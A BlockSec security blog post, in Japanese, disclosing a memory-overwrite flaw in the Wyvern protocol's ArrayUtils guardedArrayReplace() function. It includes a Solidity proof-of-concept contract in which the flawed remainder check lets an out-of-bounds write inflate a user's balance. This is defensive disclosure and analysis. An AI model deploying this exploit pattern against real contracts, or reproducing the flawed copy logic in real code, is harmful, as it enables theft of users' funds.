Back to Blog

ワイバーンプロトコルにおける新たなメモリ上書き脆弱性の発見

Code Auditing
September 8, 2022

はじめに

弊社の脆弱性検出システムは、以前OpenSeaによって使用されていたWyvern分散型取引プロトコルに属するWyvernライブラリの最新実装において、メモリ上書きの脆弱性を発見しました。このバグは任意のストレージ書き込みにつながる可能性があります。

プロジェクトには(Eメールやソーシャルメディアなどを通じて)連絡を試みましたが、まだ応答はありません。OpenSeaはSeaportプロトコルに移行したため、詳細情報を公開しても安全だと考えています。さらに、このバグ自体が少しトリッキーであり、エクスプロイトが非常に興味深いため、これらの発見を共有してコミュニティを活性化させたいと考えています。

説明

脆弱性のあるコードは、コミットハッシュ4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9の公式コードリポジトリで見つけることができます。

具体的には、このバグはArrayUtils.solの_guardedArrayReplace()_関数に存在します。名前が示すように、この関数は動的サイズのバイト配列(すなわち、_desired_という名前の2番目のパラメータ)を別の配列(すなわち、_array_という名前の最初のパラメータ)に選択的にコピーするために使用されます。この関数はワードレベル(すなわち、0x20バイト)の操作を実行するように実装されていることに注意してください。したがって、コードロジックは除算の結果に基づいて2つのステップに分けることができます。

商の部分(すなわち、_words = _array.length / 0x20)では、行42から49までのコードロジックが、ワードごとにdesired配列をtarget配列にコピーします。このステップは期待どおりに機能しますが、行39のアサート文は整数演算のため無効です。

前のステップの後、除算で剰余が生じる場合、正しくコピーされていないバイトがまだ残っていることを意味します。行52から66までのコードロジックは、これらのバイトを処理するように設計されています。残念ながら、行52の**_if_文は、剰余(array.length % 0x20)ではなく、商(words、すなわち_array.length / 0x20)を誤って使用してチェックを実行しています**。

重大度

このバグは任意のストレージ書き込みにつながる可能性があります。_array.length_が_0x20_で正確に割り切れると仮定すると、コピー操作は実際にはループロジックで実行されます。しかし、ほとんどの場合、関数は脆弱なロジックに入りdesired配列の後ろのワードをtarget配列にコピーしようとします。これにより、範囲外アクセスが必然的に発生します。さらに悪いことに、誤ったロジックは、target配列の末尾(使用方法が不明なメモリ領域)にワードを上書きするために悪用される可能性があります。

このバグを悪用する方法

潜在的な攻撃ベクトルを説明するために、PoCコントラクトを開発しました。PoCコントラクトには2つの関数があり、最初の関数_test()_は攻撃を実行するために使用され、2番目の関数は脆弱な_guardedArrayReplace()_関数です。

具体的には、test()関数で、まずいくつかのインメモリバイト(abmask)と配列(すなわち、_rewards)を定義します。ここで定義された__rewards_は、ユーザーの報酬を計算するために使用されます。_guardedArrayReplace()関数を呼び出して_a_を_b_に_mask_でコピーした後、_rewards_がユーザーの残高(すなわち、balances[msg.sender])に追加されます。

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

ここではRemixを使用して結果を示します。当初、__rewards_と_balances_には値を割り当てていないことに注意してください。エクスプロイト後、ユーザーの残高は非常に大きな値に設定されます(赤い長方形で示されています)。

結論

まれではありますが、このようなメモリ上書きの脆弱性はスマートコントラクトに依然として存在する可能性があります。開発者はメモリを操作するコードロジックに注意を払う必要があります。

BlockSecについて

BlockSecは、2021年に世界的に著名なセキュリティ専門家グループによって設立された、先駆的なブロックチェーンセキュリティ企業です。当社は、Web3の世界のセキュリティと使いやすさを向上させ、その大規模な普及を促進することに尽力しています。この目的のために、BlockSecはスマートコントラクトとEVMチェーンのセキュリティ監査サービス、セキュリティ開発とプロアクティブな脅威ブロックのためのPhalconプラットフォーム、資金追跡と調査のためのMetaSleuthプラットフォーム、そしてWeb3ビルダーが仮想通貨の世界を効率的にサーフィンするためのMetaDock拡張機能を提供しています。

現在までに、MetaMask、Uniswap Foundation、Compound、Forta、PancakeSwapなど300社以上の著名なクライアントにサービスを提供し、Matrix Partners、Vitalbridge Capital、Fenbushi Capitalなどの著名な投資家から2回の資金調達で数千万米ドルを受け取っています。

公式ウェブサイト: https://blocksec.com/

公式Twitterアカウント: https://twitter.com/BlockSecTeam

Sign up for the latest updates
Drift Protocol Incident: Multisig Governance Compromise via Durable Nonce Exploitation
Security Insights

Drift Protocol Incident: Multisig Governance Compromise via Durable Nonce Exploitation

On April 1, 2026 (UTC), Drift Protocol on Solana suffered a $285.3M loss after an attacker exploited Solana's durable nonce mechanism to delay the execution of phished multisig approvals, ultimately transferring administrative control of the protocol's 2-of-5 Squads governance with zero timelock. With full admin privileges, the attacker created a malicious collateral market (CVT), inflated its oracle price, relaxed withdrawal protections, and drained USDC, JLP, SOL, cbBTC, and other assets through 31 rapid withdrawals in approximately 12 minutes. This incident highlights how durable nonce-based delayed execution can decouple signer intent from on-chain execution, bypassing the temporal assumptions that multisig security implicitly relies on.

Weekly Web3 Security Incident Roundup | Mar 23 – Mar 29, 2026
Security Insights

Weekly Web3 Security Incident Roundup | Mar 23 – Mar 29, 2026

This BlockSec weekly security report covers eight DeFi attack incidents detected between March 23 and March 29, 2026, across Ethereum and BNB Chain, with total estimated losses of approximately $1.53M. Incidents include a $679K flawed burn mechanism exploit on the BCE token, a $512K spot-price manipulation attack on Cyrus Finance's PancakeSwap V3 liquidity withdrawal, a $133.5K flash-loan-driven referral reward manipulation on a TUR staking contract, and multiple integer overflow, reentrancy, and accounting error vulnerabilities in DeFi protocols. The report provides detailed vulnerability analysis and attack transaction breakdowns for each incident.

Newsletter -  March 2026
Security Insights

Newsletter - March 2026

In March 2026, the DeFi ecosystem experienced three major security incidents. Resolv Protocol lost ~$80M due to compromised privileged infrastructure keys, BitcoinReserveOffering suffered ~$2.7M from a double-minting logic flaw, and Venus Protocol incurred ~$2.15M following a donation attack combined with market manipulation.

Best Security Auditor for Web3

Validate design, code, and business logic before launch. Aligned with the highest industry security standards.

BlockSec Audit